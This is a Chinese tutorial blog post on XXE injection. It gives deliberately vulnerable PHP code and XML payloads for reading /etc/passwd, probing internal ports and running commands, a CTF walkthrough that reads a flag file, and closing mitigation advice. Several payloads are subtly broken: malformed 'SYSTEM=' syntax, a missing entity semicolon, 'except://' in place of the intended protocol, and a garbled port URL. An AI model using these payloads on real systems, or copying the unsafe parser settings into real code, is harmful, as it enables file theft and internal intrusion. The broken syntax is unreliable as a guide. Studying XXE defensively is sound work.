[web安全原理分析]-XEE漏洞入门

[web安全原理分析]-XEE漏洞入门,第1张

[web安全原理分析]-XEE漏洞入门

前言

1

前言

XXE漏洞

XXE漏洞全称(XML External Entity Injection)即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。


xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。


XML基础

XML

XML(EXtensible Markup Language,可扩展标记语言)用来结构化、存储以及传输信息。


XML文档结构包括3部分:XML声明、文档类型定义(可选)和文档元素

 1 <!-- XML声明(定义了XML的版本和编码) -->
2 <?xml version="1.0" encoding="ISO-8859-1"?>
3
4 <!-- 文档类型定义 -->
5 <!DOCTYPE note [
6 <!ELEMENT note (to,from,heading,body)>
7 <!ELEMENT to (#PCDATA)>
8 <!ELEMENT from (#PCDATA)>
9 <!ELEMENT heading (#PCDATA)>
10 <!ELEMENT body (#PCDATA)>
11 ]>
12
13 <!-- 文档元素 -->
14 <note>
15 <to>George</to>
16 <from>John</from>
17 <heading>Reminder</heading>
18 <body>Don't forget the meeting!</body>
19 </note>

1.XML声明

xml声明以<?开头,以?>结束。


version属性是必选的,它定义了XML版本。


encoding属性是可选的,它定义了XML进行解码时所用的字符集

<?xml version="1.0" encoding="ISO-8859-1"?>

2.文档类型定义

  文档类型定义(Document Type Definition,DTD)用来约束一个XML文档的书写规范。


  1.文档类型定义的基础语法:

<!ELEMENT 元素名 类型>

  2.内部定义

  将文档类型定义放在XML文档中,称为内部定义,内部定义的格式如下:

<!DOCTYPE 根元素 [元素声明]>

eg:

<!DOCTYPE note [                          <!-- 定义此文档是note类型 -->
<!ELEMENT note (to,from,heading,body)> <!-- 定义note有4个元素:to from heading body -->
<!ELEMENT to (#PCDATA)> <!-- 定义to元素为#PCDATA类型 -->
<!ELEMENT from (#PCDATA)> <!-- 定义from元素为#PCDATA类型 -->
<!ELEMENT heading (#PCDATA)> <!-- 定义heading元素为#PCDATA类型 -->
<!ELEMENT body (#PCDATA)> <!-- 定义body元素为#PCDATA类型 -->
]>

  3.外部文档引用

  文档类型定义的内容也可以保存为单独的DTD文档

  (1)DTD文档在本地格式

<!DOCTYPE 根元素 SYSTEM "文件名">
<!--eg:<!DOCTYPE note SYSTEM "note.dtd">-->

  (2)DTD文档外网引用

<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">
<!--eg:<!doctype html public "xxx" "http://www.xx.com/note.dtd">-->

XML漏洞利用

漏洞代码:

file_get_contents函数读取了php://input传入的数据,但是传入的数据没有经过任何过滤,直接在loadXML函数中进行了调用并通过了echo函数输入$username的结果,这样就导致了XXE漏洞的产生。


<?php
libxml_disable_entity_loader(false);
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument(); $dom->loadXML($xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD);
$creds=simplexml_import_dom($dom);
$username=$creds->username;
$password=$creds->password; echo 'hello'.$username; ?>

1.文件读取

通过加载外部实体,利用file://、php://等伪协议读取本地文件

payload:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE creds[
<!ELEMENT userename ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM="file:///etc/passwd"]>
<creds>
<username>&xxe</username>
<password>test</password>
</creds>

 2.内网探测

利用xxe漏洞进行内网探测,如果端口开启,请求返回的时间会很快,如果端口关闭请求返回的时间会很慢

探测22号端口是否开启

payload:

<?xml version="1.0"?>
<!DOCTYPE creds[
<!ELEMENT userename ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM="http://127.0.0.1.22"]>
<creds>
<username>&xxe</username>
<password>test</password>
</creds>

3.内网应用攻击

通过XXE漏洞进行内网应用攻击,例如攻击内网jmx控制台未授权访问的JBpss漏洞进行攻击

4.命令执行

利用xxe漏洞可以调用except://伪协议调用系统命令

payload:

<?xml version="1.0"?>
<!DOCTYPE creds[
<!ELEMENT userename ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM="except://id"]>
<creds>
<username>&xxe</username>
<password>test</password>
</creds>

XXE-CTF实例

目标:http://web.jarvisoj.com:9882/

BP抓包一下

将Content-Type:application/json改成application/xml构造XEE

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt"> ]>
<tq>&xxe;</tq>

XEE漏洞修补

1.禁用外部实体。


在代码中设置libxml_disable_entity_loader(true)

2.过滤用户提交的XML数据。


过滤关键词为<!DOCTYPE、<!ENTITY、SYSTEM和PUBLIC.

参考学习:《web安全原理分析与实践》——XXE漏洞

       https://www.freebuf.com/vuls/175451.html  浅谈XXE实体注入漏洞

     https://www.freebuf.com/column/225780.html   xxe从入门到放弃

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/zaji/586506.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-04-12
下一篇 2022-04-12

发表评论

登录后才能评论

评论列表(0条)

保存